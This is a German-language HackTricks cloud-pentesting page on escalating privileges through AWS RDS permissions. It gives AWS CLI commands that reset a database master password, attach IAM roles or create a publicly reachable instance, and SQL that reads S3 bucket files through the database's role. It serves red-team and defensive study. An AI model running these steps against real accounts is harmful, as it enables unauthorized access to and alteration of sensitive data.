AWS - RDS Privesc

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

RDS - Relational Database Service

Für weitere Informationen zu RDS siehe:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Mit dieser Berechtigung kann ein attacker das Passwort des master user ändern, und den Login innerhalb der Datenbank:

bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

warning

Du musst in der Lage sein, eine Verbindung zur Datenbank herzustellen (sie sind normalerweise nur von innerhalb von Netzwerken erreichbar).

Potential Impact: Sensitive Informationen in den Datenbanken finden.

rds-db:connect

According to the docs a user with this permission could connect to the DB instance.

Abuse RDS Role IAM permissions

Postgresql (Aurora)

tip

If running SELECT datname FROM pg_database; you find a database called rdsadmin you know you are inside an AWS postgresql database.

Zuerst kannst du prüfen, ob diese Datenbank verwendet wurde, um auf einen anderen AWS-Service zuzugreifen. Du kannst das überprüfen, indem du dir die installierten Erweiterungen ansiehst:

sql
SELECT * FROM pg_extension;

Wenn du etwas wie aws_s3 findest, kannst du davon ausgehen, dass diese Datenbank irgendwie Zugriff auf S3 hat (es gibt andere Erweiterungen wie aws_ml und aws_lambda).

Außerdem, wenn du die Berechtigung hast, aws rds describe-db-clusters auszuführen, kannst du dort sehen, ob der Cluster eine angehängte IAM Role im Feld AssociatedRoles hat. Falls vorhanden, kannst du davon ausgehen, dass die Datenbank vorbereitet wurde, auf andere AWS services zuzugreifen. Anhand des Namens der Role (oder wenn du die Berechtigungen der Role herausfinden kannst) könntest du abschätzen, auf welche zusätzlichen Ressourcen oder Services die Datenbank Zugriff hat.

Um nun eine Datei in einem bucket zu lesen, musst du den vollständigen Pfad kennen. Du kannst sie lesen mit:

sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Wenn Sie über rohe AWS-Zugangsdaten verfügen, könnten Sie diese auch verwenden, um mit folgendem Befehl auf S3-Daten zuzugreifen:

sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

note

Postgresql muss keine Parametergruppenvariable ändern, um auf S3 zugreifen zu können.

Mysql (Aurora)

tip

Wenn du dich in einer mysql befindest und die Abfrage SELECT User, Host FROM mysql.user; ausführst und es einen Benutzer namens rdsadmin gibt, kannst du annehmen, dass du dich in einer AWS RDS mysql db befindest.

Führe innerhalb der mysql show variables; aus und wenn Variablen wie aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role Werte haben, kannst du davon ausgehen, dass die Datenbank zum Zugriff auf S3 vorbereitet ist.

Wenn du außerdem die Berechtigung hast, aws rds describe-db-clusters auszuführen, kannst du prüfen, ob der Cluster eine zugeordnete Rolle hat, was in der Regel Zugang zu AWS-Services bedeutet).

Um nun eine Datei in einem Bucket zu lesen, musst du den vollständigen Pfad kennen. Du kannst sie mit:

sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Ein Angreifer mit den Berechtigungen rds:AddRoleToDBCluster und iam:PassRole kann eine angegebene Rolle zu einer vorhandenen RDS-Instanz hinzufügen. Dies könnte dem Angreifer ermöglichen, auf sensible Daten zuzugreifen oder die Daten innerhalb der Instanz zu ändern.

bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potential Impact: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.
Beachte, dass einige DBs zusätzliche Konfigurationen benötigen, wie z. B. Mysql, bei denen auch die role ARN in den Parametergruppen angegeben werden muss.

rds:CreateDBInstance

Nur mit dieser Berechtigung könnte ein Angreifer eine neue instance inside a cluster erstellen, die bereits existiert und eine IAM role zugeordnet hat. Er kann das Master-Benutzerpasswort nicht ändern, aber er könnte die neue Datenbankinstanz dem Internet zugänglich machen:

bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

note

TODO: Testen

Ein Angreifer mit den Berechtigungen rds:CreateDBInstance und iam:PassRole kann eine neue RDS-Instanz erstellen, der eine bestimmte Rolle zugewiesen ist. Der Angreifer kann dann möglicherweise auf sensible Daten zugreifen oder die Daten innerhalb der Instanz verändern.

warning

Einige Voraussetzungen für das anzuhängende Role-/Instance-Profile (laut here):

  • Das Profil muss in Ihrem Konto existieren.
  • Das Profil muss eine IAM-Rolle enthalten, die Amazon EC2 annehmen darf.
  • Der Name des Instance-Profils und der zugehörigen IAM-Rolle müssen mit dem Präfix AWSRDSCustom beginnen.
bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potential Impact: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS instance.

rds:AddRoleToDBInstance, iam:PassRole

Ein Angreifer mit den Berechtigungen rds:AddRoleToDBInstance und iam:PassRole kann eine angegebene Rolle zu einer bestehenden RDS instance hinzufügen. Dadurch könnte der Angreifer auf sensible Daten zugreifen oder die Daten innerhalb der instance verändern.

warning

Die DB instance muss dafür außerhalb eines Clusters liegen.

bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Mögliche Auswirkungen: Zugriff auf sensible Daten oder unautorisierte Änderungen an den Daten in der RDS-Instanz.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks